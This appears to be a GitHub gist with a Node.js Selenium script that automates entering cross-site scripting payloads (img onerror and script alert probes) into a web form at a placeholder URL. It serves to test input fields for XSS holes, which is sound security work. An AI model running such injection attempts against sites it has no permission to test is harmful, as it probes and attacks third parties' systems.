Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save Cdaprod/992c0363697816d7f7586de28f146f04 to your computer and use it in GitHub Desktop.
Save Cdaprod/992c0363697816d7f7586de28f146f04 to your computer and use it in GitHub Desktop.
Snippet for testing input field against list of xss vars
// Assuming you have Selenium WebDriver and ChromeDriver installed
const {Builder, By, Key, until} = require('selenium-webdriver');
const chrome = require('selenium-webdriver/chrome');
// list of XSS payloads to test
const xssPayloads = [
"<img src='x' onerror='alert(1);'>",
"<script>alert('XSS')</script>",
// Add more payloads as per your requirements
];
// replace this with your URL and the input field selector
const url = 'http://your-website.com';
const inputField = 'input#your-input-field-id';
async function testXSS() {
let driver = await new Builder().forBrowser('chrome').setChromeOptions(new chrome.Options().headless()).build();
try {
await driver.get(url);
for (let payload of xssPayloads) {
await driver.findElement(By.css(inputField)).clear();
await driver.findElement(By.css(inputField)).sendKeys(payload, Key.RETURN);
// You will have to implement the code to check if the payload was successful
}
} finally {
await driver.quit();
}
}
testXSS();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment